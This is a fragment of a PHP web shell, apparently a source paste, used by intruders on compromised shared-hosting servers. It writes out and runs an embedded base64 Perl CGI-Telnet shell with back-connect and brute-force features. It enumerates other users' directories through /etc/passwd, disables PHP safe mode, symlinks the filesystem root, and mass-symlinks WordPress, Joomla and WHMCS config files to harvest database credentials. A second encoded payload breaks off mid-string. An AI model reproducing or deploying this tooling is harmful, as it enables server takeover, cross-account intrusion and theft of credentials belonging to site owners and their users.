vdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';
  2928.  
  2929. $file = fopen("cgi4e.izo" ,"w+");
  2930. $write = fwrite ($file ,base64_decode($cgi4e));
  2931. fclose($file);
  2932. chmod("cgi4e.izo",0755);
  2933. echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>CGI-Telnet Version 1.4 </span><br><font face='Tahoma' color='#007700' size='2pt'>Password : BTM</font><center><br><iframe src=cgi4e/cgi4e.izo width=75% height=60% frameborder=0></iframe>
  2934.  
  2935. </div></center>";
  2936. }
  2937. elseif($_GET['do'] == 'jumping') {
  2938. $i = 0;
  2939. echo "<div class='margin: 5px auto;'>";
  2940. if(preg_match("/hsphere/", $dir)) {
  2941. $urls = explode("\r\n", $_POST['url']);
  2942. if(isset($_POST['jump'])) {
  2943. echo "<pre>";
  2944. foreach($urls as $url) {
  2945. $url = str_replace(array("http://","www."), "", strtolower($url));
  2946. $etc = "/etc/passwd";
  2947. $f = fopen($etc,"r");
  2948. while($gets = fgets($f)) {
  2949. $pecah = explode(":", $gets);
  2950. $user = $pecah[0];
  2951. $dir_user = "/hsphere/local/home/$user";
  2952. if(is_dir($dir_user) === true) {
  2953. $url_user = $dir_user."/".$url;
  2954. if(is_readable($url_user)) {
  2955. $i++;
  2956. $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  2957. if(is_writable($url_user)) {
  2958. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  2959. }
  2960. echo $jrw."<br>";
  2961. }
  2962. }
  2963. }
  2964. }
  2965. if($i == 0) {
  2966. } else {
  2967. echo "<br>Total ada ".$i." Kamar di ".$ip;
  2968. }
  2969. echo "</pre>";
  2970. } else {
  2971. echo '<center>
  2972. <form method="post">
  2973. List Domains: <br>
  2974. <textarea name="url" style="width: 500px; height: 250px;">';
  2975. $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  2976. while($getss = fgets($fp)) {
  2977. echo $getss;
  2978. }
  2979. echo '</textarea><br>
  2980. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  2981. </form></center>';
  2982. }
  2983. } elseif(preg_match("/vhosts|vhost/", $dir)) {
  2984. preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
  2985. $urls = explode("\r\n", $_POST['url']);
  2986. if(isset($_POST['jump'])) {
  2987. echo "<pre>";
  2988. foreach($urls as $url) {
  2989. $url = str_replace("www.", "", $url);
  2990. $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
  2991. if(is_dir($web_vh) === true) {
  2992. if(is_readable($web_vh)) {
  2993. $i++;
  2994. $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  2995. if(is_writable($web_vh)) {
  2996. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  2997. }
  2998. echo $jrw."<br>";
  2999. }
  3000. }
  3001. }
  3002. if($i == 0) {
  3003. } else {
  3004. echo "<br>Total ada ".$i." Kamar di ".$ip;
  3005. }
  3006. echo "</pre>";
  3007. } else {
  3008. echo '<center>
  3009. <form method="post">
  3010. List Domains: <br>
  3011. <textarea name="url" style="width: 500px; height: 250px;">';
  3012. bing("ip:$ip");
  3013. echo '</textarea><br>
  3014. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  3015. </form></center>';
  3016. }
  3017. } else {
  3018. echo "<pre>";
  3019. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  3020. while($passwd = fgets($etc)) {
  3021. if($passwd == '' || !$etc) {
  3022. echo "<font color=red>Can't read /etc/passwd</font>";
  3023. } else {
  3024. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  3025. foreach($user_jumping[1] as $user_idx_jump) {
  3026. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  3027. if(is_readable($user_jumping_dir)) {
  3028. $i++;
  3029. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  3030. if(is_writable($user_jumping_dir)) {
  3031. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  3032. }
  3033. echo $jrw;
  3034. if(function_exists('posix_getpwuid')) {
  3035. $domain_jump = file_get_contents("/etc/named.conf");
  3036. if($domain_jump == '') {
  3037. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  3038. } else {
  3039. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  3040. foreach($domains_jump[1] as $dj) {
  3041. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  3042. $user_jumping_url = $user_jumping_url['name'];
  3043. if($user_jumping_url == $user_idx_jump) {
  3044. echo " => ( <u>$dj</u> )<br>";
  3045. break;
  3046. }
  3047. }
  3048. }
  3049. } else {
  3050. echo "<br>";
  3051. }
  3052. }
  3053. }
  3054. }
  3055. }
  3056. if($i == 0) {
  3057. } else {
  3058. echo "<br>Total ada ".$i." Kamar di ".$ip;
  3059. }
  3060. echo "</pre>";
  3061. }
  3062. echo "</div>";
  3063. }
  3064. elseif($_GET['do'] == 'indi') {
  3065. echo "<center>";
  3066. echo "<ul>";
  3067. echo "<li> <a href='?dir=$dir&do=config'>Config</a> </li>";
  3068. echo "<li> <a href='?dir=$dir&do=config2'>2nd Config</a> </li>";
  3069. echo "<li> <a href='?dir=$dir&do=indi'>INDISHELL</a> </li>";
  3070. echo "<li> <a href='?dir=$dir&do=vgrab'>VHosts Grabber</a> </li>";
  3071. echo "</ul>";
  3072. echo "</center>";
  3073. $byphp = "safe_mode = Off
  3074. disable_functions = None
  3075. ";
  3076. file_put_contents("php.ini",$byphp);
  3077.  
  3078. echo '<CENTER><b>Configuration Killer By Team INDISHELL</b><br><br>';
  3079. ?>
  3080.  
  3081. <bR><form method=post>
  3082. <textarea style='width: 543px; height: 420px;' name=user><?php $users=file("/etc/passwd");
  3083. foreach($users as $user)
  3084. {
  3085. $str=explode(":",$user);
  3086. echo $str[0]."\n";
  3087. }
  3088.  
  3089. ?></textarea><br>
  3090. <input type=submit name=su value="Lets Start" /></form></CENTER>
  3091. <center>
  3092. <?php
  3093. error_reporting(0);
  3094. echo "<font color=#ff00 size=2 face=\"comic sans ms\">";
  3095. if(isset($_POST['su']))
  3096. {
  3097. mkdir('lol',0777);
  3098. $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  3099. $g = fopen('lol/.htaccess','w');
  3100. fwrite($g,$rr);
  3101. $indishell = symlink("/","lol/root");
  3102. $rt="<a href=lol/root target='_blank'><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
  3103. echo "Please check link given below for / folder symlink <br><u>$rt</u>";
  3104.  
  3105. $dir=mkdir('BTM',0777);
  3106. $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  3107. $f = fopen('INJECTION/.htaccess','w');
  3108.  
  3109. fwrite($f,$r);
  3110. $consym="<a href=BTM/ target='_blank'><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
  3111. echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=white size=2 face=\"comic sans ms\">$consym<br><br></font></u>";
  3112.  
  3113. $usr=explode("\n",$_POST['user']);
  3114. $configuration=array("wp-config.php",
  3115. "wordpress/wp-config.php",
  3116. "web/wp-config.php",
  3117. "wp/wp-config.php",
  3118. "press/wp-config.php",
  3119. "wordpress/beta/wp-config.php",
  3120. "news/wp-config.php",
  3121. "new/wp-config.php",
  3122. "blogs/wp-config.php",
  3123. "home/wp-config.php",
  3124. "blog/wp-config.php",
  3125. "protal/wp-config.php",
  3126. "site/wp-config.php",
  3127. "main/wp-config.php",
  3128. "test/wp-config.php",
  3129. "wp/beta/wp-config.php",
  3130. "beta/wp-config.php",
  3131. "joomla/configuration.php",
  3132. "protal/configuration.php",
  3133. "joo/configuration.php",
  3134. "cms/configuration.php",
  3135. "site/configuration.php",
  3136. "main/configuration.php",
  3137. "news/configuration.php",
  3138. "new/configuration.php",
  3139. "home/configuration.php",
  3140. "configuration.php",
  3141. "SSI.php",
  3142. "forum/SSI.php",
  3143. "forum/inc/config.php",
  3144. "forum/includes/config.php",
  3145. "upload/includes/config.php",
  3146. "cc/includes/config.php",
  3147. "vb/includes/config.php",
  3148. "vb3/includes/config.php",
  3149. "cpanel/configuration.php",
  3150. "panel/configuration.php",
  3151. "ubmitticket.php",
  3152. "manage/configuration.php",
  3153. "myshop/configuration.php",
  3154. "beta/configuration.php",
  3155. "includes/config.php",
  3156. "lib/config.php",
  3157. "conf_global.php",
  3158. "inc/config.php",
  3159. "incl/config.php",
  3160. "include/db.php",
  3161. "include/config.php",
  3162. "includes/functions.php",
  3163. "includes/dist-configure.php",
  3164. "connect.php",
  3165. "mk_conf.php",
  3166. "config/koneksi.php",
  3167. "system/sistem.php",
  3168. "config.php",
  3169. "Settings.php",
  3170. "settings.php",
  3171. "sites/default/settings.php",
  3172. "smf/Settings.php",
  3173. "forum/Settings.php",
  3174. "forums/Settings.php",
  3175. "host/configuration.php",
  3176. "hosting/configuration.php",
  3177. "hosts/configuration.php",
  3178. "zencart/includes/dist-configure.php",
  3179. "shop/includes/dist-configure.php",
  3180. "whm/configuration.php",
  3181. "whmc/configuration.php",
  3182. "whmcs/configuration.php",
  3183. "whmc/WHM/configuration.php",
  3184. "whm/WHMCS/configuration.php",
  3185. "whm/whmcs/configuration.php",
  3186. "order/configuration.php",
  3187. "support/configuration.php",
  3188. "supports/configuration.php",
  3189. "oscommerce/includes/configure.php",
  3190. "oscommerces/includes/configure.php",
  3191. "shopping/includes/configure.php",
  3192. "sale/includes/configure.php",
  3193. "config.inc.php",
  3194. "amember/config.inc.php",
  3195. "clients/configuration.php",
  3196. "client/configuration.php",
  3197. "clientes/configuration.php",
  3198. "cliente/configuration.php",
  3199. "clientsupport/configuration.php",
  3200. "billing/configuration.php",
  3201. "billings/configuration.php",
  3202. "admin/conf.php",
  3203. "admin/config.php");
  3204. foreach($usr as $uss )
  3205. {
  3206. $us=trim($uss);
  3207.  
  3208. foreach($configuration as $c)
  3209. {
  3210. $rs="/home/".$us."/public_html/".$c;
  3211. $r="BTM/".$us." .. ".$c;
  3212. symlink($rs,$r);
  3213.  
  3214. }
  3215.  
  3216. }
  3217.  
  3218.  
  3219. }
  3220.  
  3221. }
  3222. elseif($_GET['do'] == 'tconf') {
  3223. echo "<center>";
  3224. echo "<ul>";
  3225. echo "<li> <a href='?dir=$dir&do=config'>Config</a> </li>";
  3226. echo "<li> <a href='?dir=$dir&do=config2'>2nd Config</a> </li>";
  3227. echo "<li> <a href='?dir=$dir&do=indi'>INDISHELL</a> </li>";
  3228. echo "<li> <a href='?dir=$dir&do=vgrab'>VHosts Grabber</a> </li>";
  3229. echo "</ul>";
  3230. echo "</center>";
  3231. }
  3232. elseif($_GET['do'] == 'vgrab') {
  3233. echo "<center>";
  3234. echo "<ul>";
  3235. echo "<li> <a href='?dir=$dir&do=config'>Config</a> </li>";
  3236. echo "<li> <a href='?dir=$dir&do=config2'>2nd Config</a> </li>";
  3237. echo "<li> <a href='?dir=$dir&do=indi'>INDISHELL</a> </li>";
  3238. echo "<li> <a href='?dir=$dir&do=vgrab'>VHosts Grabber</a> </li>";
  3239. echo "</ul>";
  3240. echo "</center>";
  3241.  
  3242. echo"<br><center><form method='post'>
  3243. <input type='submit' name='elgass' value='Click Here'>
  3244. </form></center>";
  3245.  
  3246. if (isset($_POST['elgass']))
  3247. {
  3248. @mkdir('btbt', 0755);
  3249. @chdir('btbt');
  3250. $elesem = ".htaccess";
  3251. $elakab = "$elesem";
  3252. $filhat = fopen ($elakab , 'w') or die ("Can't Write htaccess !");
  3253. $htcont = "Options FollowSymLinks MultiViews Indexes ExecCGI
  3254.  
  3255. AddType application/x-httpd-cgi .cin
  3256.  
  3257. AddHandler cgi-script .cin
  3258. AddHandler cgi-script .cin";
  3259. fwrite ( $filhat , $htcont ) ;
  3260. fclose ($filhat);
  3261. $btm = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxubiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjwvaGVhZD4NCic7DQoNCg0KcHJpbnQgJw0KPGJvZHk+DQo8cD4uOiBDb2RlZCBieSBGYWxsYWcgR2Fzc3Jpbmk8L3A+DQonOw0Kb3BlbmRpcihteSAkZGlyICwgIi92YXIvd3d3L3Zob3N0cy8iKTsNCmZvcmVhY2goc29ydCByZWFkZGlyICRkaXIpIHsNCiAgICBteSAkaXNEaXIgPSAwOw0KICAgICRpc0RpciA9IDEgaWYgLWQgJF87DQokc2l0ZXNzID0gJF87DQoNCg0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1